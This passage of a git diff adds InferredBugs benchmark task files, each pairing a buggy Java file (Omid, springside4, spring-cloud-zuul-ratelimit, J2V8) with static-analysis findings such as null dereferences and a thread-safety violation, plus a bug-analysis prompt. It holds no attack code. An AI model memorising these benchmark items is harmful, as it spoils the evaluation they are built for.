+            throw LoggerException.create(Code.ZKOPFAILED);
+        }
+        
+        LOG.info("Creating bookkeeper client");
+        
+        try{
+            bk = new BookKeeper(new ClientConfiguration(), this.zk);    
+        } catch (Exception e) {
+            LOG.error("Error while creating bookkeeper object", e);
+            return null;
+        }
+        
+        
+        /*
+         * Create ZooKeeper lock
+         */
+              
+        Context ctx = new Context();
+        
+        zk.create(LoggerConstants.OMID_LOCK_PATH, 
+                                        new byte[0], 
+                                        Ids.OPEN_ACL_UNSAFE, 
+                                        CreateMode.EPHEMERAL, 
+                                        new LockCreateCallback(),
+                                        ctx);
+        
+        new BookKeeperStateLogger(zk).initialize(new LoggerInitCallback(){
+            public void loggerInitComplete(int rc, StateLogger sl, Object ctx){                
+                if(rc == Code.OK){
+                    if(LOG.isDebugEnabled()){
+                        LOG.debug("Logger is ok.");
+                    }
+                    ((Context) ctx).setLogger(sl); 
+                } else {
+                    LOG.error("Error when initializing logger: " + LoggerException.getMessage(rc));
+                }
+            }
+        
+        }, ctx);
+        
+        try{
+            synchronized(ctx){
+                while(!ctx.isReady()){
+                    ctx.wait();
+                }           
+            }
+        } catch (InterruptedException e) {
+            LOG.error("Interrupted while waiting for state to build up.", e);
+            ctx.setState(null);
+        }
+        
+        return ctx.state;
+    }
+
+
+    /**
+     * Builds state from a ledger.
+     * 
+     * 
+     * @param data
+     * @param ctx
+     * @return
+     */
+    private void buildStateFromLedger(byte[] data, Object ctx){
+        if(LOG.isDebugEnabled()){
+            LOG.debug("Building state from ledger");
+        }
+        
+        if(data == null){
+            LOG.error("No data on znode, can't determine ledger id");
+            ((BookKeeperStateBuilder.Context) ctx).setState(null);
+        }
+        
+       /*
+        * Instantiates LoggerProtocol        
+        */
+        if(LOG.isDebugEnabled()){
+            LOG.debug("Creating logger protocol object");
+        }
+        try{
+            this.lp = new LoggerProtocol(timestampOracle); 
+        } catch (Exception e) {
+            LOG.error("Error while creating state logger for logger protocol.", e);
+            ((BookKeeperStateBuilder.Context) ctx).setState(null);
+        }
+        
+        /*
+         * Open ledger for reading.
+         */
+
+        ByteBuffer bb = ByteBuffer.wrap(data);
+        long ledgerId = bb.getLong();
+        
+        bk.asyncOpenLedger(ledgerId, BookKeeper.DigestType.CRC32, 
+                                        "flavio was here".getBytes(), 
+                                        new OpenCallback(){
+            public void openComplete(int rc, LedgerHandle lh, Object ctx){
+                if(LOG.isDebugEnabled()){
+                    LOG.debug("Open complete, ledger id: " + lh.getId());
+                }
+                if(rc != BKException.Code.OK){
+                    LOG.error("Could not open ledger for reading." + BKException.getMessage(rc));
+                    ((BookKeeperStateBuilder.Context) ctx).setState(null);
+                } else {
+                    long counter = lh.getLastAddConfirmed();
+                    while(counter >= 0){
+                        try {
+                           throttleReads.acquire();
+                        } catch (InterruptedException e) {
+                           // ignore
+                        }
+                        if (((Context) ctx).isReady()) break;
+                        long nextBatch = Math.max(counter - BKREADBATCHSIZE + 1, 0);
+                        lh.asyncReadEntries(nextBatch, counter, new LoggerExecutor(), ctx);
+                        counter -= BKREADBATCHSIZE;
+                    }
+                }
+            }
+        }, ctx);
+       
+    }
+    
+    /**
+     * Disables this builder.    
+     */
+    public void shutdown(){
+        this.enabled = false;
+        try {
+            this.zk.close();
+        } catch (InterruptedException e) {
+            LOG.error("Error while shutting down", e);
+        } 
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.yahoo.omid.tso.persistence.BookKeeperStateBuilder.buildState` indirectly writes to field `tso.TSOServerConfig.com.yahoo.omid.tso.TSOServerConfig.config` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+TSOState BookKeeperStateBuilder.buildState()
+
+### Procedure Id:
+com.yahoo.omid.tso.persistence.BookKeeperStateBuilder.buildState():com.yahoo.omid.tso.TSOState.9994a70e2beda7f498bbd0350dee0a77
+
+### File:
+src/main/java/com/yahoo/omid/tso/persistence/BookKeeperStateBuilder.java
+
+### Key:
+BookKeeperStateBuilder.java|buildState|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+d2877f245b779b2ada5eef362a7866db
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3712/instruction.md b/inferredbugs-3712/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6980b3688f6f2f0b9c6a9929289e96308db3be2d
--- /dev/null
+++ b/inferredbugs-3712/instruction.md
@@ -0,0 +1,114 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** springside4
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.springside.examples.showcase.webservice.rest;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springside.examples.showcase.entity.User;
+import org.springside.examples.showcase.service.AccountEffectiveService;
+import org.springside.modules.mapper.BeanMapper;
+
+/**
+ * Shiro的配置文件中对/api/secure/**进行拦截，要求authBasic认证.
+ * 
+ * @author calvin
+ */
+@Controller
+@RequestMapping(value = { "/api/v1/user", "/api/secure/v1/user" })
+public class UserRestController {
+	@Autowired
+	private AccountEffectiveService accountService;
+
+	/**
+	 * 基于ContentNegotiationManager,根据URL的后缀渲染不同的格式
+	 * eg. /api/v1/user/1.xml 返回xml
+	 * /api/v1/user/1.json 返回json
+	 * /api/v1/user/1 返回xml(why?)
+	 */
+	@RequestMapping(value = "/{id}", method = RequestMethod.GET)
+	@ResponseBody
+	public UserDTO getUser(@PathVariable("id") Long id) {
+		User user = accountService.getUser(id);
+
+		// 使用Dozer转换DTO类，并补充Dozer不能自动绑定的属性
+		UserDTO dto = BeanMapper.map(user, UserDTO.class);
+		dto.setTeamId(user.getTeam().getId());
+		return dto;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `user` last assigned on line 33 could be null and is dereferenced at line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+UserDTO UserRestController.getUser(Long)
+
+### Procedure Id:
+org.springside.examples.showcase.webservice.rest.UserRestController.getUser(java.lang.Long):org.spri.6d852e40982c81067ccebb1f29001677
+
+### File:
+examples/showcase/src/main/java/org/springside/examples/showcase/webservice/rest/UserRestController.java
+
+### Key:
+UserRestController.java|getUser|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+9c10e6211e5f80775c90c80f04cada9e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3715/instruction.md b/inferredbugs-3715/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d7bb553a39690f593e1928ead91010d8f3b5faf4
--- /dev/null
+++ b/inferredbugs-3715/instruction.md
@@ -0,0 +1,250 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** springside4
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.springside.modules.metrics.report;
+
+import java.io.BufferedWriter;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.nio.charset.Charset;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.regex.Pattern;
+
+import javax.net.SocketFactory;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springside.modules.metrics.CounterMetric;
+import org.springside.modules.metrics.ExecutionMetric;
+import org.springside.modules.metrics.HistogramMetric;
+import org.springside.modules.metrics.MetricRegistry;
+
+public class GraphiteReporter implements Reporter {
+
+	private static final Pattern WHITESPACE = Pattern.compile("[\\s]+");
+	private static final Charset UTF_8 = Charset.forName("UTF-8");
+
+	private static Logger logger = LoggerFactory.getLogger(GraphiteReporter.class);
+
+	private String prefix;
+
+	private InetSocketAddress address;
+	private SocketFactory socketFactory;
+	private Socket socket;
+	private Writer writer;
+
+	public GraphiteReporter(InetSocketAddress address) {
+		this(address, "metrics");
+	}
+
+	public GraphiteReporter(InetSocketAddress address, String prefix) {
+		this.prefix = prefix;
+		this.address = address;
+		this.socketFactory = SocketFactory.getDefault();
+	}
+
+	@Override
+	public void report(Map<String, CounterMetric> counters, Map<String, HistogramMetric> histograms,
+			Map<String, ExecutionMetric> executions) {
+		try {
+			connect();
+			long timestamp = System.currentTimeMillis() / 1000;
+
+			for (Map.Entry<String, CounterMetric> entry : counters.entrySet()) {
+				reportCounter(entry.getKey(), entry.getValue(), timestamp);
+			}
+
+			for (Map.Entry<String, HistogramMetric> entry : histograms.entrySet()) {
+				reportHistogram(entry.getKey(), entry.getValue(), timestamp);
+			}
+
+			for (Map.Entry<String, ExecutionMetric> entry : executions.entrySet()) {
+				reportExecution(entry.getKey(), entry.getValue(), timestamp);
+			}
+
+			flush();
+
+		} catch (IOException e) {
+			logger.warn("Unable to report to Graphite", e);
+		} finally {
+			try {
+				close();
+			} catch (IOException e) {
+				logger.warn("Error disconnecting from Graphite", e);
+			}
+		}
+	}
+
+	private void reportCounter(String name, CounterMetric counter, long timestamp) throws IOException {
+		send(MetricRegistry.name(prefix, name, "count"), format(counter.count), timestamp);
+	}
+
+	private void reportHistogram(String name, HistogramMetric histogram, long timestamp) throws IOException {
+		send(MetricRegistry.name(prefix, name, "min"), format(histogram.min), timestamp);
+		send(MetricRegistry.name(prefix, name, "max"), format(histogram.max), timestamp);
+		send(MetricRegistry.name(prefix, name, "mean"), format(histogram.mean), timestamp);
+		for (Entry<Double, Long> pct : histogram.pcts.entrySet()) {
+			send(MetricRegistry.name(prefix, name, format(pct.getKey()).replace('.', '_')), format(pct.getValue()),
+					timestamp);
+		}
+	}
+
+	private void reportExecution(String name, ExecutionMetric execution, long timestamp) throws IOException {
+		send(MetricRegistry.name(prefix, name, "count"), format(execution.counter.count), timestamp);
+
+		send(MetricRegistry.name(prefix, name, "min"), format(execution.histogram.min), timestamp);
+		send(MetricRegistry.name(prefix, name, "max"), format(execution.histogram.max), timestamp);
+		send(MetricRegistry.name(prefix, name, "mean"), format(execution.histogram.mean), timestamp);
+		for (Entry<Double, Long> pct : execution.histogram.pcts.entrySet()) {
+			send(MetricRegistry.name(prefix, name, format(pct.getKey()).replace('.', '_')), format(pct.getValue()),
+					timestamp);
+		}
+	}
+
+	private String format(Object o) {
+		if (o instanceof Float) {
+			return format(((Float) o).doubleValue());
+		} else if (o instanceof Double) {
+			return format(((Double) o).doubleValue());
+		} else if (o instanceof Byte) {
+			return format(((Byte) o).longValue());
+		} else if (o instanceof Short) {
+			return format(((Short) o).longValue());
+		} else if (o instanceof Integer) {
+			return format(((Integer) o).longValue());
+		} else if (o instanceof Long) {
+			return format(((Long) o).longValue());
+		}
+		return null;
+	}
+
+	private String format(long n) {
+		return Long.toString(n);
+	}
+
+	private String format(double v) {
+		return String.format(Locale.US, "%2.2f", v);
+	}
+
+	private void connect() throws IllegalStateException, IOException {
+		if (socket != null) {
+			throw new IllegalStateException("Already connected");
+		}
+
+		this.socket = socketFactory.createSocket(address.getAddress(), address.getPort());
+		this.writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), UTF_8));
+	}
+
+	/**
+	 * Sends the given measurement to the server.
+	 * 
+	 * @param name the name of the metric
+	 * @param value the value of the metric
+	 * @param timestamp the timestamp of the metric
+	 * @throws IOException if there was an error sending the metric
+	 */
+	private void send(String name, String value, long timestamp) throws IOException {
+		try {
+			writer.write(sanitize(name));
+			writer.write(' ');
+			writer.write(sanitize(value));
+			writer.write(' ');
+			writer.write(Long.toString(timestamp));
+			writer.write('\n');
+		} catch (IOException e) {
+			throw e;
+		}
+	}
+
+	private String sanitize(String s) {
+		return WHITESPACE.matcher(s).replaceAll("-");
+	}
+
+	private void flush() throws IOException {
+		writer.flush();
+	}
+
+	private void close() throws IOException {
+		if (socket != null) {
+			socket.close();
+		}
+		this.socket = null;
+		this.writer = null;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `format(this,pct.getKey())` could be null and is dereferenced at line 101.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GraphiteReporter.reportExecution(String,ExecutionMetric,long)
+
+### Procedure Id:
+org.springside.modules.metrics.report.GraphiteReporter.reportExecution(java.lang.String,org.springsi.60482312efe16b6e33de1614b63086d3
+
+### File:
+modules/metrics/src/main/java/org/springside/modules/metrics/report/GraphiteReporter.java
+
+### Key:
+GraphiteReporter.java|reportExecution|NULL_DEREFERENCE
+
+### Node Key:
+4e40cf4b057cfc6102ca2104f1fe79e1
+
+### Hash:
+f94de03af840301cd376bb40fcab1d2b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3723/instruction.md b/inferredbugs-3723/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..51f454160ed37147029263d92cb8656eed32a50b
--- /dev/null
+++ b/inferredbugs-3723/instruction.md
@@ -0,0 +1,161 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-cloud-zuul-ratelimit
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012-2018 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.repository;
+
+import com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.Rate;
+import org.springframework.data.redis.core.RedisTemplate;
+
+import java.util.Objects;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+/**
+ * @author Marcos Barbero
+ * @author Liel Chayoun
+ */
+@SuppressWarnings("unchecked")
+public class RedisRateLimiter extends AbstractCacheRateLimiter {
+
+    private final RateLimiterErrorHandler rateLimiterErrorHandler;
+    private final RedisTemplate redisTemplate;
+
+    public RedisRateLimiter(RateLimiterErrorHandler rateLimiterErrorHandler, RedisTemplate redisTemplate) {
+        this.rateLimiterErrorHandler = rateLimiterErrorHandler;
+        this.redisTemplate = redisTemplate;
+    }
+
+    @Override
+    protected void calcRemainingLimit(final Long limit, final Long refreshInterval,
+                                      final Long requestTime, final String key, final Rate rate) {
+        if (Objects.nonNull(limit)) {
+            long usage = requestTime == null ? 1L : 0L;
+            Long remaining = calcRemaining(limit, refreshInterval, usage, key, rate);
+            rate.setRemaining(remaining);
+        }
+    }
+
+    @Override
+    protected void calcRemainingQuota(final Long quota, final Long refreshInterval,
+                                      final Long requestTime, final String key, final Rate rate) {
+        if (Objects.nonNull(quota)) {
+            String quotaKey = key + QUOTA_SUFFIX;
+            long usage = requestTime != null ? requestTime : 0L;
+            Long remaining = calcRemaining(quota, refreshInterval, usage, quotaKey, rate);
+            rate.setRemainingQuota(remaining);
+        }
+    }
+
+    private Long calcRemaining(Long limit, Long refreshInterval, long usage,
+                               String key, Rate rate) {
+        rate.setReset(SECONDS.toMillis(refreshInterval));
+        Long current = 0L;
+        try {
+            current = redisTemplate.opsForValue().increment(key, usage);
+            // Redis returns the value of key after the increment, check for the first increment, and the expiration time is set
+            if (current != null && current.equals(usage)) {
+                handleExpiration(key, refreshInterval);
+            }
+        } catch (RuntimeException e) {
+            String msg = "Failed retrieving rate for " + key + ", will return the current value";
+            rateLimiterErrorHandler.handleError(msg, e);
+        }
+        return Math.max(-1, limit - current);
+    }
+
+    private void handleExpiration(String key, Long refreshInterval) {
+        try {
+            this.redisTemplate.expire(key, refreshInterval, SECONDS);
+        } catch (RuntimeException e) {
+            String msg = "Failed retrieving expiration for " + key + ", will reset now";
+            rateLimiterErrorHandler.handleError(msg, e);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `current` last assigned on line 67 could be null and is dereferenced at line 76.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Long RedisRateLimiter.calcRemaining(Long,Long,long,String,Rate)
+
+### Procedure Id:
+com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.repository.RedisRateLimiter.calcRemainin.ff92c3eebc07b85ccf31ca8fa979e9c5
+
+### File:
+spring-cloud-zuul-ratelimit-core/src/main/java/com/marcosbarbero/cloud/autoconfigure/zuul/ratelimit/config/repository/RedisRateLimiter.java
+
+### Key:
+RedisRateLimiter.java|calcRemaining|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+b6ad8e1cd2dbfa6762d09f71d9c1d976
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3724/instruction.md b/inferredbugs-3724/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d9c130201be4907b642ba636e737b65759d85ab
--- /dev/null
+++ b/inferredbugs-3724/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-cloud-zuul-ratelimit
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012-2018 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.repository;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.Rate;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.data.redis.core.RedisTemplate;
+
+/**
+ * @author Marcos Barbero
+ * @author Liel Chayoun
+ */
+@Slf4j
+@RequiredArgsConstructor
+@SuppressWarnings("unchecked")
+public class RedisRateLimiter extends AbstractCacheRateLimiter {
+
+    private final RateLimiterErrorHandler rateLimiterErrorHandler;
+    private final RedisTemplate redisTemplate;
+
+    @Override
+    protected void calcRemainingLimit(Long limit, Long refreshInterval,
+                                      Long requestTime, String key, Rate rate) {
+        if (limit != null) {
+            long usage = requestTime == null ? 1L : 0L;
+            Long current = 0L;
+            try {
+                current = redisTemplate.opsForValue().increment(key, usage);
+                // Redis returns 1 when the key is incremented for the first time, and the expiration time is set
+                if (current != null && current.equals(1L)) {
+                    this.redisTemplate.expire(key, refreshInterval, SECONDS);
+                }
+            } catch (RuntimeException e) {
+                String msg = "Failed retrieving rate for " + key + ", will return limit";
+                rateLimiterErrorHandler.handleError(msg, e);
+            }
+            rate.setRemaining(Math.max(-1, limit - current));
+        }
+    }
+
+    @Override
+    protected void calcRemainingQuota(Long quota, Long refreshInterval,
+                                      Long requestTime, String key, Rate rate) {
+        if (quota != null) {
+            String quotaKey = key + QUOTA_SUFFIX;
+            handleExpiration(quotaKey, refreshInterval, rate);
+            long usage = requestTime != null ? requestTime : 0L;
+            Long current = 0L;
+            try {
+                current = this.redisTemplate.boundValueOps(quotaKey).increment(usage);
+            } catch (RuntimeException e) {
+                String msg = "Failed retrieving rate for " + quotaKey + ", will return quota limit";
+                rateLimiterErrorHandler.handleError(msg, e);
+            }
+            rate.setRemainingQuota(Math.max(-1, quota - current));
+        }
+    }
+
+    private void handleExpiration(String key, Long refreshInterval, Rate rate) {
+        Long expire = null;
+        try {
+            expire = this.redisTemplate.getExpire(key);
+            if (expire == null || expire.equals(-1L)) {
+                this.redisTemplate.expire(key, refreshInterval, SECONDS);
+                expire = refreshInterval;
+            }
+        } catch (RuntimeException e) {
+            String msg = "Failed retrieving expiration for " + key + ", will reset now";
+            rateLimiterErrorHandler.handleError(msg, e);
+        }
+        rate.setReset(SECONDS.toMillis(expire == null ? 0L : expire));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `current` last assigned on line 67  at line 72.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RedisRateLimiter.calcRemainingQuota(Long,Long,Long,String,Rate)
+
+### Procedure Id:
+com.marcosbarbero.cloud.autoconfigure.zuul.ratelimit.config.repository.RedisRateLimiter.calcRemainin.55ea14e99a0061f45e77ef29e82f683a
+
+### File:
+spring-cloud-zuul-ratelimit-core/src/main/java/com/marcosbarbero/cloud/autoconfigure/zuul/ratelimit/config/repository/RedisRateLimiter.java
+
+### Key:
+RedisRateLimiter.java|calcRemainingQuota|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+3163992b98235c72b3c2276678d13bb5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3740/instruction.md b/inferredbugs-3740/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1f97be9231c20fb22a252106ae88d50320324cba
--- /dev/null
+++ b/inferredbugs-3740/instruction.md
@@ -0,0 +1,2981 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** J2V8
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (c) 2014 EclipseSource and others.
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ *
+ * Contributors:
+ *    EclipseSource - initial API and implementation
+ ******************************************************************************/
+package com.eclipsesource.v8.utils;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.List;
+import java.util.Map;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.eclipsesource.v8.V8;
+import com.eclipsesource.v8.V8Array;
+import com.eclipsesource.v8.V8ArrayBuffer;
+import com.eclipsesource.v8.V8Function;
+import com.eclipsesource.v8.V8Object;
+import com.eclipsesource.v8.V8TypedArray;
+import com.eclipsesource.v8.V8Value;
+
+public class V8ObjectUtilsTest {
+    private V8 v8;
+
+    @Before
+    public void seutp() {
+        v8 = V8.createV8Runtime();
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            if (v8 != null) {
+                v8.close();
+            }
+            if (V8.getActiveRuntimes() != 0) {
+                throw new IllegalStateException("V8Runtimes not properly released");
+            }
+        } catch (IllegalStateException e) {
+            System.out.println(e.getMessage());
+            throw e;
+        }
+    }
+
+    @Test
+    public void testCreateIntegerMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {a:1, b:2, c:3}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(3, map.size());
+        assertEquals(1, map.get("a"));
+        assertEquals(2, map.get("b"));
+        assertEquals(3, map.get("c"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateMapWithFunction() {
+        V8Object object = v8.executeObjectScript("x = {a : function() {return 1;}, b : 'foo'}; x;");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(1, map.size());
+        assertEquals("foo", map.get("b"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateListWithFunction() {
+        V8Array array = v8.executeArrayScript("x = [function() {return 1;}, 'foo']; x;");
+
+        List<Object> list = V8ObjectUtils.toList(array);
+
+        assertEquals(1, list.size());
+        assertEquals("foo", list.get(0));
+        array.close();
+    }
+
+    @Test
+    public void testCreateDoubleMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {a:1.1, b:2.2, c:3.3, d:4.4}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(4, map.size());
+        assertEquals(1.1, (Double) map.get("a"), 0.000001);
+        assertEquals(2.2, (Double) map.get("b"), 0.000001);
+        assertEquals(3.3, (Double) map.get("c"), 0.000001);
+        assertEquals(4.4, (Double) map.get("d"), 0.000001);
+        object.close();
+    }
+
+    @Test
+    public void testCreateStringMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {a:'foo', b:'bar', c:'baz', d:'boo'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(4, map.size());
+        assertEquals("foo", map.get("a"));
+        assertEquals("bar", map.get("b"));
+        assertEquals("baz", map.get("c"));
+        assertEquals("boo", map.get("d"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateBooleanMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {a:true, b:1==1, c:false, d:1!=1}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(4, map.size());
+        assertTrue((Boolean) map.get("a"));
+        assertTrue((Boolean) map.get("b"));
+        assertFalse((Boolean) map.get("c"));
+        assertFalse((Boolean) map.get("d"));
+        object.close();
+    }
+
+    @Test
+    public void testCreateMixedMapFromV8Object() {
+        V8Object object = v8.executeObjectScript("x = {boolean:true, integer:1, double:3.14159, string:'hello'}; x");
+
+        Map<String, ? super Object> map = V8ObjectUtils.toMap(object);
+
+        assertEquals(4, map.size());
+        assertTrue((Boolean) map.get("boolean"));
+        assertEquals(1, (int) (Integer) map.get("integer"));
+        assertEquals(3.14159, (Double) map.get("double"), 0.0000001);
+        assertEquals("hello", map.get("string"));
+        object.close();
+    }
+
+    @SuppressWarnings("rawtypes")
+    @Test
